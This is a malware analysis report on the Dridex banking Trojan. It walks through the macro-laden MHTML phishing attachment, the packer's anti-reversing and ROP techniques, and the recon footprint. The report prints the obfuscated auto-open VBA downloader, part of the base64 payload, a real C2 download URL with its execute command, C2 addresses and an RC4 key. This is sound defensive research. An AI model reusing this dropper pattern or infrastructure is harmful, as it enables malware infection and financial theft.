

SPECIAL RESEARCH REPORT

Dridex Banker

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Introduction

One of the most active botnets of 2015, Dridex steals bank account information and is believed responsible for over \$35 millions in losses worldwide. Dridex is a descendant of Bugat/Feodo/Cridex and is part of the infamous Zeus family.

In a concerted effort of the FBI and security vendors, the botnet was partly shut down at the end of 2015. Multiple command-and-control nodes were taken down and the botnet kingpin was arrested, thus considerably crippling his capabilities. When the botnet started in July 2015, it was not significant as when a new phishing campaign was launched this fall. The actors behind Dridex are still active. The present article takes a closer look into Dridex attack vector, the packer used to protect against AV solutions and the recon stage.

Attack Vector	r
File Name	/ Facture_SCAN49179684.doc
Hash (sha1)	/ acc386359b901318ac9863eb34f2d5f304c4cc0d
File format	/ MHTML

Dridex is using Microsoft Office documents with macros as attack vector to infect the victims. In an effort to hide the malicious macros from security scanners, the file attached to the emails sent by the botnet are MIME HTML(.MHTML), which is a web page archive format used to incorporate HTML code with all the external dependencies like images, Flash animations and/or audio files. The OLE document(.doc/.docx) with the actual macros is embedded inside the .MHTML file as an ActiveMIME objects.

Below is the base64 encoded object embedded inside the MHTML file. Being compressed as an ActiveMIME object allows the payload to escape network scanners that are not opening those objects to scan them.

153	<o:p> </o:p>
155	
156	
157	
158	
159	
160	Base64 Encoded OLE Document
161	=_NextPart_01D11834.9407F310
162	Content-Location: file:///C:/10DA4631/file0273.files/editdata.mso
163	Content-Transfer-Encoding: base64
164	Content-Type: application/x-mso
165	
166	QWN0aXZ1TW1tZQAAAfAEAAAA/////xAAB/BvHwAABAAAAAQAAAAAAAAAAAAAAAAB8AAB4nO1dCWBc
167	xXn+39uVtNaxluQj8iH7SbKNfEh+e0haSZbZSyvJWIctWTKOg72XpJVXu/IeQrIBr2yDzeFCggNJ
168	IIYASTDBYEIhqZvWwgkJaSChzWXSNBCgJk2blNI2SVvi7f+/Y7W7Wssr4aTElay+9+bN++ef+/9n
169	5s2MXvlewRufe2bxzyHJbAQFXIzOgcw4N0aCYPIBWLwpEBej0ajsHJ01f1Lm94gsLLcFCCUiAOF1
170	rhKLGOYgshE5iFxEHkKNmIsoQCxGFCLmIeYjFiLKER9BFCEWIZYgrkEsRRQjliGWIzhECaIUUYZY
171	gViJWIVYjaiX6tYavK9FrENUICoRtQgeoUFoETqEHlGFqEbUIAyS/zq8b5DsF/9vs/tDZ7aCH38h
172	LITG80E9AKPJomBKsxBrjMxr3mVo8zt/kzuv6G8ZkhnjHaJbN5jBNK0QE40KJZIc/pzLhCvf49+5
173	wINp/iDhs0x8fqbrb7tCvFvAC3YI4k8zo/DVGD7JYWq76YZP7fdnUviUGbIcj2//JBNIBqRq/9SG
174	qP2TfCAZEN/+SY6QD1hv/yQjSAb17Z/8X679k7wgOUJyILn9k//1kF77Jz1B7Z9kCcmABsn/tXg3
175	IqjumYHKAcCKaETYEE2IZkQLYhPiOsRmRKvkvx3vVIW3ILYiOhFdiGlAdRqgB7EdcT1iB+KjiJ2I
176	j0n+d+F9N8KOcCCcQHURwI3oRfQh+hEexABiD8KLGJT8+/E+hNiLoPobRIQQYcQw4kbECIJa8z7E
177	ISRNiJs1/wfwHqHy73o2wgg1zwC/hmXvmQND8zObFXCQBddbSiVWhKXQEfAPuJ2hjC1UJEZ2fiY7

1	000000:	4163	7469	7665	4d69	6d65	0000	01f0	0400	ActiveMime
2	0000010:	0000	ffff	ffff	1000	07f0	6f1f	0000	0400	
3	0000020:	0000	0400	0000	0000	0000	0000	0000	007c	·····I
4	0000030:	0000	789c	ed5d	0960	5cc5	79fe	dfdb	95b4	x].`\.y
5	0000040:	d6b1	96e4	23f2	21fb	49b2	8d7c	487e	7b48	#.!.I H~{H
6	0000050:	5a49	96d9	4b2b	c958	872d	5932	8e83	bd97	ZIK+.XY2
7	0000060:	a495	57bb	f21e	42b2	01af	6c83	cde1	4282	WBlB.
8	0000070:	0349	2086	0049	30c1	6042	21a9	9bd6	c209	.II0.`B!
9	0000080:	0969	20a1	cd65	d234	10a0	264d	9b94	d236	.ie.4&M6
10	0000090:	495b	e2ed	ffbf	63b5	bb5a	cb2b	e1a4	c4d5	I[cZ.+
11	00000a0:	acbe	f7e6	cdfb	e79f	fbff	67e6	cd8c	5efd	g^.
12	00000b0:	5ec1	1b9f	7b66	f1cf	21c9	6c04	055c	8cce	^{f!.1∖
13	00000c0:	81cc	3837	4682	60f2	0158	bc29	1017	a3d1	87F.`X.)
14	00000d0:	a8ec	1c9d	357f	52e6	f788	2c2c	b705	0825	
15	00000e0:	2203	4165	ae12	8b18	e620	b211	3988	5c44	".Ae9.∖D
16	00000f0:	1e42	8d98	8b28	402c	4614	22e6	21e6	2316	.B(@,F.".!.#.

Stripping the base64 reveals the actual ActiveMime object.

1	0000000:	d0cf	11e0	a1b1	1ae1	0000	0000	0000	0000	
2	0000010:	0000	0000	0000	0000	3e00	0300	feff	0900	
3	0000020:	0600	0000	0000	0000	0000	0000	0100	0000	
4	0000030:	0100	0000	0000	0000	0010	0000	0200	0000	
5	0000040:	0300	0000	feff	ffff	0000	0000	0000	0000	
6	0000050:	ffff								
7	0000060:	ffff								
8	0000070:	ffff								

Finally, inside the ActiveMime container is the OLE document (.doc, .docx).

The document doesn't make use of vulnerabilities, only macros are present. Taking a look at them is easy enough with the help of a dumping tool like OLEDump.

```
90 'VBA/Module1'
91 Attribute VB_Name = "Module1"
                                                                   First Macro
 92
93 Sub bmvsandasdxz()
94
95 Set xzcccvbnfgasd = CreateObject(Module3.yuIGyusf)
96 xzcccvbnfgasd.Open xCPgNnfrZfuCcsDdgAitdfoEbQIbnRHmu("UFH"), Module2.nvbvNCVojdsf, False
97 xzcccvbnfgasd.send
98
99
        Set dserSXDCGHvjh = CreateObject(Module3.tTYDTGjdsfsc)
       dserSXDCGHvjh.Open
        dserSXDCGHvjh.Type = 0 + 1
        dserSXDCGHvjh.Write xzcccvbnfgasd.responseBody
103
       dserSXDCGHvjh.SaveToFile Module4.uiGGGhjsdffds, 2
104
       dserSXDCGHvjh.Close
105 Module4.pabhVHVasd
106 End Sub
```

The first observation is that they are heavily obfuscated, but also that they are set to execute when the document is open.

To make sense of those macros, simply replace the random variable names with meaningful names and decode the strings which are split into multiple parts and encoded by a Caesar cipher of +1. The string decoding function is inside module 5.

90	'VBA/Module1'
91	PAttribute VB_Name = "Module1"
92	
93	Sub bmvsandasdxz ()
94	
95	Set xzcccvbnfgasd = CreateObject(Module3.yuJ6yusf)
96	xzcccvbnfgasd.Open xCPgNnfrZfuCcsDdgAitdf#EbQIbnRHmu("UFH"), Module2.nvbvNCVojdsf, False
97	xzcccvbnfgasd.send
98	
99	Set dserSXDCGHvjh = CreateObject (Module3.tTYDTGjdsfsc)
100	dserSXDCGHvjh.Open
101	dserSXDCGHvjh.Type = $0 + \chi$
102	dserSXDCGHvjh.Write xzccvbnfgasd.responseBody
103	dserSXDCGHvjh.SaveToFile Module4.uiGGGhjsdffds, 2
104	dserSXDCGHvjh.Close
105	Module4.pabhVHVasd
106	End Sub
1.90	Sub loitrefsd# ()
191	hmusandasdyz
192	End Sub
193	Esub autoopen ()
194	Loitrefsdff Auto Load Functions
195	End Sub
196	Esub Workbook Open ()
197	loitrefsdff
198	End Sub

Two actions are performed by the macros, download an executable from the C2 and then executes it on the spot with the VBA shell() function. The downloaded file is the actual Dridex Trojan.

See below the HTTP GET query and the command line used in this sample.

GET http://68.169.59.208:8880/benzin/ai76[.]php cmd /c start %TMP%/putinanalking.exe

Packer Internals

File Name	/	putinanalking.exe
Hash (sha1)	/	0bd0c4b283ce83ec1a1d4c9feba21677cd6c888c
Malware type	/	Trojan Bamker
Family	/	Dridex (Zeus)
Networking	/ / /	5.187.4.183:473 68.169.54.179:6446 67.211.95.228:5445

The packer used to protect Dridex is in pair with what we would expect from a last generation banker. It contains various AV evasion techniques like exception handling, code rewriting and an original polymorphic engine. The later is taking advantage of something well known in the exploitation world, return oriented programming (ROP). The following is an overview of this AV defence.

Exception Handling

Loaded inside IDA, Dridex doesn't reveal much other than endless operations with no clear goals. This code is randomized for each compilation, thus making a unique signature each time. Static reversing being of no help in this type of situation, executing the Trojan inside a debugger is the way to go. Running first without breakpoints leads to an exception inside the rpcrt4.dll module.



The exception is provoked deliberately for anti-reversing in an attempt to hide the code logic. Somewhere before the exception is provoked, the malware registers his own handler. When the exception is thrown, the execution is passed to the malware exception handler, thus the malware is back in control.

In order to resume debugging, the malware exception handler must be located. There are various ways to achieve this, but walking the exception handlers chain like the OS does when an exception is thrown is a quick and easy way.

🕒 Threads 🗵	Program Segmentation	
Name	Start	F 🔺
debug007	7FFB0000	71
IIB[00008B8] 7FFDE000	71
debug008	7FFDF000	71
debug009	7FFE0000	71 -
۱ III		•

The chain starts inside the Task Information Block(TIB) segment.

1	IB[000008B8]:	7FFDE000	dd	offset	Exception_Handler_Chain
1	IB[000008B8]:	7FFDE004	db	Θ	
1	IB[000008B8]:	7FFDE005	db	Θ	
1	IB[000008B8]:	7FFDE006	db	13h	
1	IB[000008B8]:	7FFDE007	db	Θ	
1	IB[000008B8]:	7FFDE008	db	Θ	

The first DWORD inside the TIB points to the start of the exception handler chain.

The handlers chain is constituted of *EXCEPTION_REGISTRATION* structures where the first member is a pointer referring to the previous registered handler and the second member is a *DWORD* containing the address to the handling procedure.



If the malware has registered an error handler, walking each registered handler inside the chain eventually leads to an handler that is coming from the application .text section. The following is the exception handler to whom the execution is passed when the exception is provoked.

	.text:0044799E	dridex_e	exception_handler:
	.text:0044799E		
•	.text:0044799E	mov	<pre>eax, [ebp+var_2C]</pre>
	.text:004479A1	imul	eax, [ebp+var_40]
	.text:004479A5	mo∨	ecx, [ebp+var_40]
	.text:004479A8	or	ecx, eax
	.text:004479AA	mo∨	[ebp+var_40], ecx
	.text:004479AD	cmp	[ebp+var_2C], 28h
	.text:004479B1	jg	short loc_4479F5
	.text:004479B3	push	0
	.text:004479B5	mov	edx, [ebp+var_2C]
	.text:004479B8	imul	<pre>edx, [ebp+var_C]</pre>
	.text:004479BC	push	edx
	.text:004479BD	mov	eax, [ebp+var_40]
	.text:004479C0	mo∨	ecx, [ebp+var_2C]
	.text:004479C3	sar	eax, cl
	.text:004479C5	push	eax

Return Oriented Reversing

Inside the handler, the code is still very messy with enough useless and random instructions to make your eyes bleed. On top of that, Dridex is making good usage of return oriented programming(ROP). Well known in vulnerability exploitation for DEP evasion, *ROP* usage is not common in Trojans. Though, the situation is likely going to change in the near future, because ROP for polymorphic engine is actual a very good idea and it's already public.

The technique is also easy to implement and hard to detect for *AV* solutions. A simple push instruction is needed to choose wherever the execution returns.

.text:00436424	shl	eax, cl
.text:00436426	mov	[ebp+var_4C], eax
.text:00436429	push	offset Shellcode
.text:0043642E	mov	ecx, [ebp+var_58]
.text:00436431	cmp	<pre>ecx, [ebp+var_4C]</pre>
.text:00436434	jnz	short loc_436444
.text:00436436	mov	ecx, [ebp+var_58]

When the function returns, it doesn't return where it was called like it should, but inside the chosen widget.

-mov	dword_46B650, of	fset aTei	ixkujsw	; "teIXk	uJsW"	
xor	ecx, ecx					
cmp	<pre>[ebp+var_4C], 35</pre>	ĥ				
set1	cl					
mov	edx, [ebp+var_40	:] 🛛 🖸 St	ack view			
and	edx, ecx	0012	FB80	00430F8E	Shellcode	
mov	<pre>[ebp+var_4C], ed</pre>	× 0012	FB84	004365E7	.text:loc	4365
retn		0012	FB88	58BDE4AE		
Someth:	ing endp ; sp-anal	ysis ₀₀₁₂	FB8C	00000000		
		0012	FRAM	00221F1D	debuo015.0	0221

Self Rewriting

Rewriting the code section is a well known trick for Trojans. It avoids being caught executing outside the *.text* section and also hides the code logic. Dridex follows the same known pattern for self rewriting, but with the help of *ROP*.

First, a space is allocated with *Kernel32!VirtualAlloc*, but the function is never "called" like the usual way. Instead, a pointer to *Kernel32!VirtualAlloc* is pushed onto the stack before a return instruction, thus executing inside the function after the return.

	.text:00437222 .text:00437222 locret_437222: .text:00437222 retn 00037222 00437222: .text:locret 437222
🖸 Stack v	iew
0012FB6	3 766A2FB6 kernel32.dll:kernel32_UirtualAlloc
0012FB6	C 0043735E .text:loc_43735E
0012FB7	0000000

Program Segmentation								
Name	Start	Fnd	R	W	Х	D		
debug024	00180000	00183000	R	W	Х	D		
debug014	00190000	00198000	R	W		D		
debug015	00290000	002F7000	R			D		
debug016	00300000	00304000	R			D		

A shellcode is then decrypted and copied inside the new allocated space. ROP is yet again used to execute the shellcode.

Inside the shellcode, the library pointers are found using the list of already loaded modules inside the process, *InLoadOrderModuleList*, which is inside the *PEB* (Process Environment Block) structure. From each of these libraries, the function pointers are retrieved from the PE exports list.

The shellcode starts by detaching the console window using *kernel32!FreeConsole*, that way the trojan runs in the background without any *GUI*.

	debug024:00180000	assume	es:debug009,	ss:debug009, (
EIP+•	debug024:00180000	not	ebx	
•	debug024:00180002	push	0EBB7026Eh	
•	debug024:00180007	sub	eax, edi	
•	debug024:00180009	push	243Bh	
•	debug024:0018000E	xor	esi, edi	
•	debug024:00180010	mov	edx, eax	
	debug024:00180012	jmp	short loc_18	0017
	debug024:00180012	;		

	debug024:00181A3E or	edx, edi 🔺	EAX 766FBFDE 👒 kernel32.dll:kernel32_FreeConsole
	debug024:00181A40 call	GetProcAddress	FBX 0000000
	debug024:00181A45 dec	edx	ECV 20000000 .
	debug024:00181A46 call	eax	ECX 83380000 \$
	debug024:00181A48 neg	ecx	EDX 76650000 🗣 kernel32.dll:76650000
EIP	debug024:00181A4A call	eax	ESI 00191ECA 🖌 debug014:00191ECA
	debug024:00181A4C sbb	ecx, esi	EDI FFFFF73 4
-	debug024:00181A4E jmp	short loc_181A53	EBP 0012FB68 + Stack [00000294]:0012FB68

The next action is to rewrite the code section (*.text*) by first calling *kernel32!VirtualProtect* to allows himself write access, then copying the actual Trojan code to the new section. A last *ROP* sequence starts a new thread with a start address within the new code. The later is not obfuscated and written in C++.

Recon Stage

From this point, the Trojan is unpacked and wants to communicate with his *C2* with even installing himself. It starts by building a footprint of the box. It do so by querying various registry keys unique to specific Windows versions, thus allowing to correctly guess the version without raising suspicion by calling the usual *kernel32!GetVersionEx*. Below is the *XML* footprint that is collected. It contains the hostname with an unique ID, the botnet ID to whom the Trojan is related, a system ID and the architecture. The list of installed packets is also included into the exfiltrated footprint.

<loader>

```
<get_module unique="WIN-70LR?C3SPNB_0ca42371d21432989b8abe474c06e931" botnet="120" system="56392"
name="list" bit="32"/>
<soft>
<![CDATA[HxD Hex Editor version 1.7.7.0 (1.7.7.0);Notepad++ (6.8.2);
WinRAR 5.21 (32-bit) (5.21.0);
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148;
VMware Tools (9.9.3.2759765);Starting path: 5]]>
</soft>
```

The footprint is then encrypted using RC4, a table of 0x100 bytes and the following key.

447QQ8a6C6xvTdcH7ReSMxu1cLr7jxNgX4ajfNuFbQgyHXqOtqnI5r9z

The encrypted data is sent to one of the C2 found in the following hard coded IP list.

<config botnet="120"> <server_list> 5.187.4.183:473 68.169.54.179:6446 67.211.95.228:5445 </server_list> </config>

If the Trojan successfully communicates with a C2, it proceeds with infecting the box, if not, it keeps retrying with a longer timeout between each retry.